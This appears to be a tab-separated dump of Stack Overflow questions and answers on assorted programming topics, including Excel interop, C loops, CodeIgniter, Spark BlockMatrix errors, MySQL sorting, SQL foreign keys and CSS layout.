2497710	0	 <p>Assuming you have interop, it would be like the below. Note <code>xlValidateWholeNumber</code>, that can be changed to <code>xlValidateDecimal</code> (and the subsequent Formula1 below would need to be a decimal) for decimals).</p> <pre><code>private void SetValidationBetweenNumbers() { Microsoft.Office.Tools.Excel.NamedRange cellThatNeedsValidating = this.Controls.AddNamedRange(this.Range[""A1"", missing], "cellThatNeedsValidating"); cellThatNeedsValidating.Validation.Add( Excel.XlDVType.xlValidateWholeNumber, Excel.XlDVAlertStyle.xlValidAlertStop, Excel.XlFormatConditionOperator.xlBetween, "1", "=B1"); } </code></pre>
37053732	0	 <p>In adition to the <code>break</code> statement to exit a <code>for</code> or [<code>do</code>] <code>while</code> loop, the use of <code>goto</code> is permitted to break out nested loops, e.g.:</p> <pre><code> for (i=0; i&lt;k; i++) { for (j=0; j&lt;l; j++) { if (someCondition) { goto end_i; } } } end_i: </code></pre>
35564970	0	How to format a time stamp in C <p>I'm trying to figure out how to get the current timestamp using the function below but I want to format it so that it displays the time like 4:30:23 on output. Eventually I want to subtract the time stamps before and after I run an algorithm.</p> <pre><code>struct timeval FindTime() { struct timeval tv; gettimeofday(&amp;tv,NULL); return tv; } int main() { printf("%ld\n",FindTime()); return0; } </code></pre> <p>Current output format: 1456178100</p>
13290350	0	 <p>You can manage privileges at the column-level: <a href="http://dev.mysql.com/doc/refman/5.1/en/grant.html" rel="nofollow">http://dev.mysql.com/doc/refman/5.1/en/grant.html</a>.</p>
24779303	0	 <p>You should read some basic CI first:</p> <pre><code>function index() { $this-&gt;load-&gt;model('setting/model_setting'); //load model if( $this-&gt;input-&gt;post(null) ){ //detect if form is submitted if(null !==($this-&gt;input-&gt;post('config_template'))) { $data['config_template'] = $this-&gt;input-&gt;post('config_template'); } else { $data['config_template'] = $this-&gt;theme-&gt;get('value'); // Auto loaded Library Theme } if($this-&gt;form_validation-&gt;run()) { $this-&gt;model_setting-&gt;updateTheme(); } redirect('setting/store'); }else{ // load view only $data['templates'] = array(); $directories = glob(DIR_CATALOG . 'views/theme/*', GLOB_ONLYDIR); foreach ($directories as $directory) { $data['templates'][] = basename($directory); } $this-&gt;form_validation-&gt;set_rules('config_template', '', 'callback_validate'); $this-&gt;lang-&gt;load('setting/setting', 'english'); $data['breadcrumbs'] = array(); $data['breadcrumbs'][] = array( 'text' =&gt; $this-&gt;lang-&gt;line('text_home'), 'href' =&gt; site_url('common/dashboard') ); $data['breadcrumbs'][] = array( 'text' =&gt; $this-&gt;lang-&gt;line('heading_title'), 'href' =&gt; site_url('setting/setting') ); $data['action'] = site_url('setting/setting'); $data['title'] = "Settings"; $data['entry_template'] = $this-&gt;lang-&gt;line('entry_template'); $data['header'] = $this-&gt;header($data); $data['footer'] = $this-&gt;footer($data); $this-&gt;load-&gt;view('setting/setting', $data); } } </code></pre> <p>You should first check if there is any post request, if there is update and redirect else show the form.</p>
13425698	0	 <p>The signature of <code>foo1</code> is <code>void(int)</code>, not <code>void()</code>. This is why it isn't convertible to <code>void(*)()</code>.</p> <p>You are confusing default arguments with overloading.</p>
29276798	0	Read microsoft office files with out Office installed for a site hosted on GoDadday <p>Is it possible to read and open files through c# without MS Office installed. I have a site hosted in godaddy that particular code which reads word Works locally but not in live site. This is the m,ethod that im using to read the content of the uploaded file (both doc or docx) but its not working in GoDaddy</p> <pre><code>public static string ReadResume(string path) { try { string contentOfResume = string.Empty; Application application = new Application(); Document doc = application.Documents.Open(path, Type.Missing, true); application.Selection.WholeStory(); application.Selection.Copy(); contentOfResume = application.Selection.Range.Text; application.Quit(false, false, false); return contentOfResume; } } </code></pre> <p>I have tried </p> <blockquote> <p>NetOffice</p> </blockquote> <p>But it didnt worked as i noticed that internally it uses word interop and they mentioned it is not a replacement.</p> <p>So I would like to know if there are any Free C# Libraries available.</p>
40761667	0	Regenerate location pop up even after it's denied - Browser <p>Using JavaScript, is it possible to clear location preferences stored in the browser so that even if I've denied the location permission once, the pop up can be regenerated. Alternatively, if the above cannot be achieved then can I generate a link that allows a user to navigate to the location settings option?</p>
21630727	0	 <p>You are not allowed to use block level elements like <code>&lt;div&gt;</code> inside of a <code>&lt;p&gt;</code>. Your browser fixes this mistake for you by ending the <code>&lt;p&gt;</code> before openeing the <code>&lt;div&gt;</code> - and Firebug displayes the fixed HTML.</p> <p>It would be wise to change your <code>&lt;p&gt;</code> to <code>&lt;div class="something"&gt;</code>.</p>
8843176	0	 <p>You might be interested in looking at <a href="http://nrabinowitz.github.com/pjscrape/" rel="nofollow">Pjscrape</a> (disclaimer: this is my project). It's a web-scraping tool built on PhantomJS, giving you full jQuery access to the page in a headless Webkit browser context. It makes it very easy to pull semi-structured data from webpages via the command line, particularly if the page you're scraping has a consistent structure for new elements.</p> <p>For example, you can pull all the course titles from <a href="http://www.ischool.berkeley.edu/courses/catalog" rel="nofollow">this course catalog</a> with the following code:</p> <pre><code>pjs.addScraper( // the page you're scraping 'http://www.ischool.berkeley.edu/courses/catalog', // selector for elements you want to pull text from '.views-row .views-field-title' ); // suppress STDOUT logging pjs.config('log', 'none'); </code></pre> <p>Running this from the command line gives you JSON to STDOUT by default:</p> <pre><code>~&gt; phantomjs /path/to/pjscrape.js my_script.js ["W10. Introduction to Information","24. Freshman Seminar", ...] </code></pre> <p>So it would be pretty simple to run this script on a regular basis, capture the output in a file, and then alert you when the new output doesn't match the previous scrape. You can also write your own scraper functions, so there's a lot of flexibility for more complex scraping if a simple selector won't do the trick.</p>
18054847	0	Doing operations in a while loop until a key combination is invoked c++ <p>I have the following issue. I want to do some certain operations in a Linux terminal until the key combination CTRL+D is invoked. I have found a C++ library function for Windows that can do this, but no easy solution for Linux. The code skeleton will be something like this:</p> <pre><code>while(!invoked){ //Until CTRL+D is pressed //Do something } //Continue when CTRL+D is invoked </code></pre> <p>Is this possible?</p>
14869717	0	 <p>Here is code to drop an outside element into a canvas and report the drop coordinates:</p> <pre><code>&lt;!DOCTYPE HTML&gt; &lt;html&gt; &lt;head&gt; &lt;style type="text/css"&gt; #dragMe{border:3px solid blue; width:60px; background-color:cyan; line-height:30px;} canvas{border:3px solid red;} &lt;/style&gt; &lt;script&gt; function allowDrop(ev){ ev.preventDefault(); } function drag(ev){ ev.dataTransfer.setData("Text",ev.target.id); } function drop(ev){ ev.preventDefault(); var data=ev.dataTransfer.getData("Text"); alert("You dropped [#"+data+"] in the canvas at: X="+ev.clientX+" and Y="+ev.clientY); } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;p&gt;Drag the text to the red canvas&lt;/p&gt; &lt;canvas id="div1" ondrop="drop(event)" ondragover="allowDrop(event)"&gt;&lt;/canvas&gt; &lt;br&gt; &lt;p id="dragMe" src="house-icon.png" draggable="true" ondragstart="drag(event)"&gt;Drag Me&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
6201656	0	 <p>You might want to use GhostDoc to do all the heavy lifting for you (like the parameters documentation for example) so that you can concentrate on providing meaningful information for the remaining elements (the summary in that case).</p>
2801350	0	 <p>There are <a href="http://nmaven.codeplex.com" rel="nofollow noreferrer">NMaven</a> and <a href="http://incubator.apache.org/npanday/" rel="nofollow noreferrer">NPanday</a>, and they both have the same origin. They are a collection of Maven plugins that enable a Maven-like built of C# and VB.NET projects.</p> <p>NMaven seems dead, this is why I use NPanday. I recently joined the team, and it is quite active. The current release is 1.1. Version 1.2 is coming soon, and we are also working on the next major release.</p> <p><strong>You should use it...</strong></p> <ul> <li>When you like Maven</li> </ul> <p><strong>You shouldn't use it...</strong></p> <ul> <li>When you like MSBuild (this will become better in 2.0)</li> <li>When you need localized resource assemblies (will be fixed in 1.2)</li> </ul>
39547641	0	 <ol> <li>Interfaces do not have fields. That should make the memory layout a lot easier.</li> <li>The memory layouts will have each of the vtables in separate locations in memory. Remember that vtables do not have the method implementations themselves, but a reference to where in memory the method starts. That allows all methods to be at the correct place relative to the start of the vtable.</li> </ol>
29372496	0	 <p>We use a simular approach. We use an Oracle database as primary datastore. </p> <p>We use PLSQL to flatten/convert data. For initial load we add data(records) to a "oneshot" table. Updates of the data will be flatten/converted and result in records in an "update" table. The oneshot and update table will be mapped to a single index in Elasticsearch.</p> <p>Initial load of ES:</p> <p>[Oracle DB]--->flatten data (pl sql)-->[records to animal_oneshot_river table, records to user_oneshot_river table]</p> <p>The data will be pulled by the river to for example <a href="http://localhost/9200/zoo/animal" rel="nofollow">http://localhost/9200/zoo/animal</a> and <a href="http://localhost/9200/zoo/user" rel="nofollow">http://localhost/9200/zoo/user</a>)</p> <p>Updates</p> <p>[Software]---->Change data--->[Oracle DB]--->flatten data (pl sql)-->[records to animal_update_river table, records to user_update_river table]</p> <p>The update tables also contains a type of change (insert, update or delete).</p> <p>The river wil poll the update_river tables for updates and mutates the data in Elasticsearch (we use a pull). The records will be deleted after processing by the river.</p> <p>Data changes to Elasticsearch won't be send to Oracle. All changes on the primary datastore will be done by our own bussiness logic software.</p> <p>We also write data to _spare tables (animal_oneshot_river_spare) because that makes it possible to reload the Elasticsearch without downtime and without synchronisation issues (we switch aliasses after reloading Elasticsearch). </p>
1896233	0	 <p>See <a href="http://www.jakpsatweb.cz/css/css-vertical-center-solution.html" rel="nofollow noreferrer">Vertical Centering in CSS</a>.</p> <blockquote> <pre><code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Universal vertical center with CSS&lt;/title&gt; &lt;style&gt; .greenBorder {border: 1px solid green;} /* just borders to ser it */ &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="greenBorder" style="display: table; height: 400px; #position: relative; overflow: hidden;"&gt; &lt;div style=" #position: absolute; #top: 50%;display: table-cell; vertical-align: middle;"&gt; &lt;div class="greenBorder" style=" #position: relative; #top: -50%"&gt; any text&lt;br&gt; any height&lt;br&gt; any content, for example generated from DB&lt;br&gt; everything is vertically centered &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> </blockquote>
12190522	0	FtpWebRequest Trying to insert all filenames in folder into sql table? <p>Using the following program I'm trying to insert all the filenames listed in a folder on ftp server into a SQL table.</p> <p>While Writing to table I'm getting an error </p> <blockquote> <p>c# cannot access a disposed object. object name 'system.net.sockets.networkstream'</p> </blockquote> <p><strong>reader.ReadToEnd()</strong> Writing the whole stream where I want one by one filename.</p> <pre><code>namespace Examples.System.Net { public class WebRequestGetExample { public static void Main() { FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://myftpaddress.com/0708/"); request.Method = WebRequestMethods.Ftp.ListDirectory; request.Credentials = new NetworkCredential("vish10", "MyPasswd"); FtpWebResponse response = (FtpWebResponse)request.GetResponse(); Stream responseStream = response.GetResponseStream(); StreamReader reader = new StreamReader(responseStream); Console.WriteLine(reader.ReadToEnd()); SqlConnection sqlConnection1 = new SqlConnection("Integrated Security=SSPI;Persist Security Info=False;Initial Catalog=DMSTG;Data Source=."); SqlCommand cmd = new SqlCommand(); cmd.CommandText = @"Insert into FTPfileList0708Folder values('" + reader.ReadToEnd().ToString() + "')"; cmd.Connection = sqlConnection1; sqlConnection1.Open(); cmd.ExecuteNonQuery(); sqlConnection1.Close(); Console.WriteLine("Directory List Complete, status {0}", response.StatusDescription); reader.Close(); response.Close(); } } } </code></pre>
25518385	0	 <p>I guess this is just the way of thinking in general. When you really think about a deep if statement, you think if that statement is true, not the other point of view. It's not wrong, but in my head naming it inverse, would annoy me and make me lose concentration about the statement. So I would say it's just the way people think :D.</p>
13559794	0	MYSQL Insert...on duplicate value insert again with increment <p>I have 5 columns a, b, c, d and e. I want to insert values into first 4 columns and have kept default value as 1 in last column. I have kept the first 4 columns as primary keys. If duplicate values are inserted in the first 4 columns, then I want to insert the same values again but with increment in the 5th column. Eg: if 1,2,3,4 are values for the first 4 columns. then when 1,2,3,4 comes again they need to be inserted as 1,2,3,4 but with fifth column as 2.</p>
37471579	0	What is the function of the "loginName = "Friend"" below? <p>The loginName here is input for username. I assume that the "loginName = "Friend" will display "Friend" as default username if there is no input, but it's not right. So what is the meaning of that code and if I want to display "Friend" as default, How can I do?</p> <pre><code>package com.example.rubit.interactivestory.ui; import android.content.Intent; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.widget.Toast; import com.example.rubit.interactivestory.R; public class Story extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_story); Intent intent = getIntent(); String loginName = intent.getStringExtra(getString(R.string.login_name)); if (loginName == null) { loginName = "Friend"; } Toast.makeText(this,loginName,Toast.LENGTH_LONG).show(); } } </code></pre>
9622744	0	 <p>Let me provide you a better way to do it, without using .DocumentText and having to parse all those strings, erk.</p> <p>If wbMain is your WebBrowser1 control, do the following.</p> <p>First, you need to get a ref to your element, lets say you want to access the first <code>&lt;A&gt;</code> link, on your page, you can loop through all if you want.</p> <p>This is in VB, but its the same sort of thing in C#, just different syntax.</p> <pre><code>Dim i As Integer Dim aElement As HTMLAnchorElement = wbMain.Document.All.getElementByTagName("A")(0) For i = 0 To aElement.attributes.length - 1 MsgBox aElement.attributes.item(i).name &amp; "=" &amp; aElement.attributes.item(i).value Next i </code></pre> <p>This will loop through all attributes and display it in a MSGBOX in a <code>name=value</code> format.</p> <p>If you want to retreive it by name (attributes name) just call using <code>aElement.getAttribute("target")</code> to retreive the target attributes value from the a Link.</p> <p>If you want to confirm you got the right object/element, just do a <code>aElement.outerHTML</code> to get the full HTML code for that element only.</p> <p>Since I am using a pre.NET version, feel free to change the declaration from HTMLAnchorElement to IHTMLAnchorElement if it gives you trouble, of course, you can just use IHTMLElement if you want to go through all elements on a page, then all you'll need to do is wbMain.Document.All(0) for first element on a page, or loop until .All.length - 1 to go through all. Remember if you are using nested For loops, don't use i twice, use j for one of them :).</p> <p>Let me know if this answers your question or if there is more I can do to help you with your issue.</p>
6695398	0	 <p>In the current standard, tokenization is greedy, so <code>&gt;&gt;</code> will be processed as a single token, in the same way that <code>a +++ b</code> will be parsed as <code>a ++ + b</code>. This has changed and the new standard. While it requires more work from the compiler implementors, it was deemed that overall it is worth it (and some mayor compilers already implement that as an extension anyway).</p>
2232131	0	 <p>there is not [yet] a version of numpy that has been ported to Python 3. </p> <p>the last update I heard from the people on the project was this: <a href="http://blog.jarrodmillman.com/2009/01/when-will-numpy-and-scipy-migrate-to.html" rel="nofollow noreferrer">http://blog.jarrodmillman.com/2009/01/when-will-numpy-and-scipy-migrate-to.html</a></p> <p>for now, if you need Numpy, you are stuck with Python 2.x</p>
8568429	0	Better approach for displaying two php var with jquery ajax <p>I'm getting two random values from a table. The values are in the same row.</p> <pre><code>&lt;?php $result = mysql_query("SELECT * FROM people ORDER BY RAND() LIMIT 1", $connection); $row = mysql_fetch_array($result); echo $row["name"]; echo $row["surname"]; ?&gt; </code></pre> <p>And I want to display these two values at different div's on my html page by using jquery ajax functions.</p> <pre><code>$(function() { $("#sentence-form").submit(function() { $.ajax( { type : "GET", url : "newperson.php", success : function(response) { $("#top-container").append(response); /* Both name and surname */ } }); }); }); </code></pre> <p>The problem is seperating two values to display different in div's. I tried to use two ajax calls and I sended a boolean data to php to use with an if statement. So one of the ajax calls displays name and the other one displays surname. But because of randomization its a bit complicated to find surname of a name. </p> <p>Could you advise me a better approach?</p>
12384526	0	 <p>I may have misinterpreted your question as your terminology is unclear.</p> <blockquote> <p>Entity E contains two kinds of entries: publicly visible entries... and private entries.</p> </blockquote> <p>Do you mean that your "entity E" (a CRM entity definition) contains publicly accessible <em>attributes</em> and private <em>attributes</em> (<strong>this is what I have assumed</strong>) or do you mean that some of the <em>records</em> that are of type "Entity E" are public and some private?</p> <hr> <p>I would recommend that you investigate the CRM 2011 "<a href="http://msdn.microsoft.com/en-us/library/gg309608.aspx" rel="nofollow">Field Level Security</a>" (FLS) concept. This allows you to secure a subset of fields and make them only available to specific users (i.e. it is <strong>not</strong> tied to a role). This security is applied to CRM views as well as forms so it should fit your scenario of having all web-based requests coming via an impersonated user.</p> <p>FLS does have a performance impact. In a high-volume scenario, you might consider moving your "private" attributes to a new entity, relating it to your original public entity and securing access to the private entity separately.</p>
27588611	0	 <p>It should work with</p> <pre><code>.form input { /*your css code*/ } </code></pre> <p>Do not use the <code>&gt;</code> in this case, it only selects the direct children</p>
33528555	0	Error thrown when using BlockMatrix.add <p>I'm attempting to use the distributed matrix data structure BlockMatrix (Spark 1.5.0, scala) and having some issues when attempting to add two block matrices together (error attached below).</p> <p>I'm constructing the two matrices by creating a collection of MatrixEntry's, putting that into CoordinateMatrix (with specifying Nrows,Ncols), and then using the CoordinateMatrix routine toBlockMatrix(Rpb,Cpb). For both matrices the Rpb/Cpb's are the same.</p> <p>Unfortunately when attempting to use the BlockMatrix.add routine I'm getting:</p> <pre><code>15/11/04 10:17:27 ERROR executor.Executor: Exception in task 0.0 in stage 11.0 (TID 30) java.lang.IllegalArgumentException: requirement failed: The last value of colPtrs must equal the number of elements. values.length: 9164, colPtrs.last: 5118 at scala.Predef$.require(Predef.scala:233) at org.apache.spark.mllib.linalg.SparseMatrix.&lt;init&gt;(Matrices.scala:373) at org.apache.spark.mllib.linalg.SparseMatrix.&lt;init&gt;(Matrices.scala:400) at org.apache.spark.mllib.linalg.Matrices$.fromBreeze(Matrices.scala:701) at org.apache.spark.mllib.linalg.distributed.BlockMatrix$$anonfun$5.apply(BlockMatrix.scala:321) at org.apache.spark.mllib.linalg.distributed.BlockMatrix$$anonfun$5.apply(BlockMatrix.scala:310) at scala.collection.Iterator$$anon$11.next(Iterator.scala:328) at scala.collection.Iterator$$anon$13.hasNext(Iterator.scala:371) at scala.collection.Iterator$$anon$11.hasNext(Iterator.scala:327) at org.apache.spark.util.collection.ExternalSorter.insertAll(ExternalSorter.scala:202) at org.apache.spark.shuffle.sort.SortShuffleWriter.write(SortShuffleWriter.scala:56) at org.apache.spark.scheduler.ShuffleMapTask.runTask(ShuffleMapTask.scala:68) at org.apache.spark.scheduler.ShuffleMapTask.runTask(ShuffleMapTask.scala:41) at org.apache.spark.scheduler.Task.run(Task.scala:64) at org.apache.spark.executor.Executor$TaskRunner.run(Executor.scala:203) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:745) 15/11/04 10:17:27 INFO scheduler.TaskSetManager: Starting task 2.0 in stage 11.0 (TID 32, localhost, PROCESS_LOCAL, 2171 bytes) 15/11/04 10:17:27 INFO executor.Executor: Running task 2.0 in stage 11.0 (TID 32) 15/11/04 10:17:27 WARN scheduler.TaskSetManager: Lost task 0.0 in stage 11.0 (TID 30, localhost): java.lang.IllegalArgumentException: requirement failed: The last value of colPtrs must equal the number of elements. values.length: 9164, colPtrs.last: 5118 at scala.Predef$.require(Predef.scala:233) at org.apache.spark.mllib.linalg.SparseMatrix.&lt;init&gt;(Matrices.scala:373) at org.apache.spark.mllib.linalg.SparseMatrix.&lt;init&gt;(Matrices.scala:400) at org.apache.spark.mllib.linalg.Matrices$.fromBreeze(Matrices.scala:701) at org.apache.spark.mllib.linalg.distributed.BlockMatrix$$anonfun$5.apply(BlockMatrix.scala:321) at org.apache.spark.mllib.linalg.distributed.BlockMatrix$$anonfun$5.apply(BlockMatrix.scala:310) at scala.collection.Iterator$$anon$11.next(Iterator.scala:328) at scala.collection.Iterator$$anon$13.hasNext(Iterator.scala:371) at scala.collection.Iterator$$anon$11.hasNext(Iterator.scala:327) at org.apache.spark.util.collection.ExternalSorter.insertAll(ExternalSorter.scala:202) at org.apache.spark.shuffle.sort.SortShuffleWriter.write(SortShuffleWriter.scala:56) at org.apache.spark.scheduler.ShuffleMapTask.runTask(ShuffleMapTask.scala:68) at org.apache.spark.scheduler.ShuffleMapTask.runTask(ShuffleMapTask.scala:41) at org.apache.spark.scheduler.Task.run(Task.scala:64) at org.apache.spark.executor.Executor$TaskRunner.run(Executor.scala:203) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:745) 15/11/04 10:17:27 ERROR scheduler.TaskSetManager: Task 0 in stage 11.0 failed 1 times; aborting job 15/11/04 10:17:27 INFO storage.ShuffleBlockFetcherIterator: Getting 4 non-empty blocks out of 4 blocks 15/11/04 10:17:27 INFO storage.ShuffleBlockFetcherIterator: Started 0 remote fetches in 0 ms 15/11/04 10:17:27 INFO storage.ShuffleBlockFetcherIterator: Getting 2 non-empty blocks out of 4 blocks 15/11/04 10:17:27 INFO storage.ShuffleBlockFetcherIterator: Started 0 remote fetches in 1 ms 15/11/04 10:17:27 INFO scheduler.TaskSchedulerImpl: Cancelling stage 11 15/11/04 10:17:27 INFO executor.Executor: Executor is trying to kill task 1.0 in stage 11.0 (TID 31) 15/11/04 10:17:27 INFO scheduler.TaskSchedulerImpl: Stage 11 was cancelled 15/11/04 10:17:27 INFO executor.Executor: Executor is trying to kill task 2.0 in stage 11.0 (TID 32) 15/11/04 10:17:27 INFO scheduler.DAGScheduler: Stage 11 (map at kmv.scala:26) failed in 0.114 s 15/11/04 10:17:27 INFO executor.Executor: Executor killed task 2.0 in stage 11.0 (TID 32) 15/11/04 10:17:27 INFO scheduler.DAGScheduler: Job 2 failed: reduce at CoordinateMatrix.scala:143, took 6.046350 s Exception in thread "main" org.apache.spark.SparkException: Job aborted due to stage failure: Task 0 in stage 11.0 failed 1 times, most recent failure: Lost task 0.0 in stage 11.0 (TID 30, localhost): java.lang.IllegalArgumentException: requirement failed: The last value of colPtrs must equal the number of elements. values.length: 9164, colPtrs.last: 5118 at scala.Predef$.require(Predef.scala:233) at org.apache.spark.mllib.linalg.SparseMatrix.&lt;init&gt;(Matrices.scala:373) at org.apache.spark.mllib.linalg.SparseMatrix.&lt;init&gt;(Matrices.scala:400) at org.apache.spark.mllib.linalg.Matrices$.fromBreeze(Matrices.scala:701) at org.apache.spark.mllib.linalg.distributed.BlockMatrix$$anonfun$5.apply(BlockMatrix.scala:321) at org.apache.spark.mllib.linalg.distributed.BlockMatrix$$anonfun$5.apply(BlockMatrix.scala:310) at scala.collection.Iterator$$anon$11.next(Iterator.scala:328) at scala.collection.Iterator$$anon$13.hasNext(Iterator.scala:371) at scala.collection.Iterator$$anon$11.hasNext(Iterator.scala:327) at org.apache.spark.util.collection.ExternalSorter.insertAll(ExternalSorter.scala:202) at org.apache.spark.shuffle.sort.SortShuffleWriter.write(SortShuffleWriter.scala:56) at org.apache.spark.scheduler.ShuffleMapTask.runTask(ShuffleMapTask.scala:68) at org.apache.spark.scheduler.ShuffleMapTask.runTask(ShuffleMapTask.scala:41) at org.apache.spark.scheduler.Task.run(Task.scala:64) at org.apache.spark.executor.Executor$TaskRunner.run(Executor.scala:203) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) at java.lang.Thread.run(Thread.java:745) Driver stacktrace: at org.apache.spark.scheduler.DAGScheduler.org$apache$spark$scheduler$DAGScheduler$$failJobAndIndependentStages(DAGScheduler.scala:1204) at org.apache.spark.scheduler.DAGScheduler$$anonfun$abortStage$1.apply(DAGScheduler.scala:1193) at org.apache.spark.scheduler.DAGScheduler$$anonfun$abortStage$1.apply(DAGScheduler.scala:1192) at scala.collection.mutable.ResizableArray$class.foreach(ResizableArray.scala:59) at scala.collection.mutable.ArrayBuffer.foreach(ArrayBuffer.scala:47) at org.apache.spark.scheduler.DAGScheduler.abortStage(DAGScheduler.scala:1192) at org.apache.spark.scheduler.DAGScheduler$$anonfun$handleTaskSetFailed$1.apply(DAGScheduler.scala:693) at org.apache.spark.scheduler.DAGScheduler$$anonfun$handleTaskSetFailed$1.apply(DAGScheduler.scala:693) at scala.Option.foreach(Option.scala:236) at org.apache.spark.scheduler.DAGScheduler.handleTaskSetFailed(DAGScheduler.scala:693) at org.apache.spark.scheduler.DAGSchedulerEventProcessLoop.onReceive(DAGScheduler.scala:1393) at org.apache.spark.scheduler.DAGSchedulerEventProcessLoop.onReceive(DAGScheduler.scala:1354) at org.apache.spark.util.EventLoop$$anon$1.run(EventLoop.scala:48) 15/11/04 10:17:27 WARN scheduler.TaskSetManager: Lost task 2.0 in stage 11.0 (TID 32, localhost): TaskKilled (killed intentionally) 15/11/04 10:17:27 INFO executor.Executor: Executor killed task 1.0 in stage 11.0 (TID 31) 15/11/04 10:17:27 WARN scheduler.TaskSetManager: Lost task 1.0 in stage 11.0 (TID 31, localhost): TaskKilled (killed intentionally) 15/11/04 10:17:27 INFO scheduler.TaskSchedulerImpl: Removed TaskSet 11.0, whose tasks have all completed, from pool </code></pre> <p>Edit: Below is a small reproducer (not the original) for the problem. It fails for 1.3.0 and 1.5.0 at least. Is there a dense+sparse issue I'm not understanding?</p> <pre><code>import org.apache.spark.mllib.linalg._ import org.apache.spark.mllib.linalg.distributed._ import org.apache.spark.{SparkConf, SparkContext} object runAddBug { def main(args: Array[String]) { val appName = "addbug" val conf = new SparkConf().setAppName(appName) val sc = new SparkContext(conf) val N = 200 val Nbx = 10 val diags = sc.parallelize(0 to N-1) val Eyecm = new CoordinateMatrix(diags.map{d =&gt; MatrixEntry(d, d, 1.0)}, N, N) val diagsq = diags.cartesian(diags) val Bcm = new CoordinateMatrix(diagsq.map{dd =&gt; MatrixEntry( dd._1, dd._2, 1.0*dd._1*dd._2)}, N, N) val Rpb = (N/Nbx).toInt val Cpb = (N/Nbx).toInt var A = Eyecm.toBlockMatrix(Rpb,Cpb) var B = Bcm.toBlockMatrix(Rpb,Cpb) var C = A.add(B) val entsOut = C.toCoordinateMatrix().entries val outLines = entsOut.map{anent =&gt; anent.i.toString + "\t" + anent.j.toString + "\t" + anent.value.toString } outLines.saveAsTextFile("Outdata") } } </code></pre> <p>Thanks for any help!</p>
12858922	0	Order by alphanumeric in mysql <p>Can you help me? </p> <p>my query is </p> <pre><code>SELECT num FROM sortnum ORDER BY lpad(num, 10, 0) </code></pre> <p>result of this query is not good here is the result </p> <pre><code>1 2 3 4 5 6 7 8 9 10 11 12 13 14 1a 2a 2b A1 A2 A3 A4 B1 A10 A11 B10 </code></pre> <p>What is the best query for this type of data i want number first, then data starting with a , then with b </p> <p>i want result like </p> <pre><code>1 1a 2 2a 2b 3 4 5 6 7 8 9 10 11 12 13 14 A1 A2 A3 A4 A10 A11 B1 B10 </code></pre> <p>Thanks in advance</p>
39146457	0	 <p>Don't use mysql for this stuff. You need an engine optimized for indexing search material. You can use <code>elasticsearch</code> or <code>solr</code> for this purpose and index it using mysql. Mysql is simply not designed for this purpose</p>
23046211	0	 <p>I found <strong>if</strong> statement in <strong>catalog/layer/view.phtml</strong> left by previous programmer, which disallowed to show layered navigation filters if page has an URL. :/ Sorry</p>
4274983	0	 <p>use <code>.css("display", "none");</code> for hiding, <br/> and <code>.css("display", "block");</code> for showing</p>
12792342	0	How to scaling big image smoothly in canvas with drawImage? <p>When I use drawImage to scalle a big image (like 5M), the result looks terrible， is there any easier way that can scalling image with anti-aliasing? <a href="https://developer.mozilla.org/en-US/docs/Canvas_tutorial/Using_images" rel="nofollow">MDN</a> has mentioned about this:</p> <p>Note: Images can become blurry when scaling up or grainy if they're scaled down too much. Scaling is probably best not done if you've got some text in it which needs to remain legible.</p> <p><strong>EIDT:</strong> I wanna scale a image to 90x90, and my code is like this:</p> <pre><code>that.avatar_height &gt;= that.avatar_width ? that.context.drawImage($(this)[0], 86, 2, 90, that.avatar_height*90/that.avatar_width) : that.context.drawImage($(this)[0], 86, 2, that.avatar_width*90/that.avatar_height, 90); </code></pre> <p>avatar is the image to be scaled.</p>
33005839	0	SQL Cannot add foreign key? <p>Hey guys i am new to learning SQL, trying to make a simple movie database for school but getting cannot add foreign key constraint error on SQL fiddle any ideas would be very much appropriated thanks.</p> <pre><code>CREATE TABLE Actor ( ActorID INT AUTO_INCREMENT PRIMARY KEY, FName VARCHAR (255), LName VARCHAR (255) ); CREATE TABLE Genre ( GenreID INT AUTO_INCREMENT PRIMARY KEY, GenreType VARCHAR(255) ); CREATE TABLE Director ( DirectorID INT AUTO_INCREMENT PRIMARY KEY, FirstName VARCHAR (255), LastName VARCHAR (255), MovieID INT, FOREIGN KEY (MovieID) REFERENCES Movie(MovieID) ); CREATE TABLE Movie ( MovieID INT AUTO_INCREMENT PRIMARY KEY, MovieTittle VARCHAR (255) NOT NULL, ReleaseYear INT (4) NOT NULL, Watched BOOlEAN, StarRating INT (2), DirectorID INT, FOREIGN KEY (DirectorID) REFERENCES Director(DirectorID) ); CREATE TABLE JunctionMovieGenre ( GenreID INT, MovieID INT, FOREIGN KEY (GenreID) REFERENCES Genre(GenreID), FOREIGN KEY (MovieID) REFERENCES Movie(MovieID) ); CREATE TABLE JunctionMovieActor ( MovieID INT, ActorID INT, FOREIGN KEY (ActorID) REFERENCES Actor(ActorID), FOREIGN KEY (MovieID) REFERENCES Movie(MovieID) ); </code></pre>
15218152	0	 <p>I think this is problem with file encoding, especially with <a href="http://en.wikipedia.org/wiki/Byte_order_mark" rel="nofollow">BOM</a>.</p> <p>Try to open with editor which show BOM (like notepad++) and then try to remove it.</p>
29446865	0	 <p>A better way to describe "mount" is "attach".</p> <p>The filesystem being mounted is attached to an empty directory of the existing filesystem. That is, the top level directory of the mounted filesystem becomes the directory on the existing filesystem.</p> <p>Subdirectories of the mounted filesystem become the subdirectories of the former directory on the existing filesystem, and so on.</p> <p>(The directory that was mounted on doesn't really have to be empty, but after mounting any contents it had are inaccessible, until the filesystem is unmounted).</p>
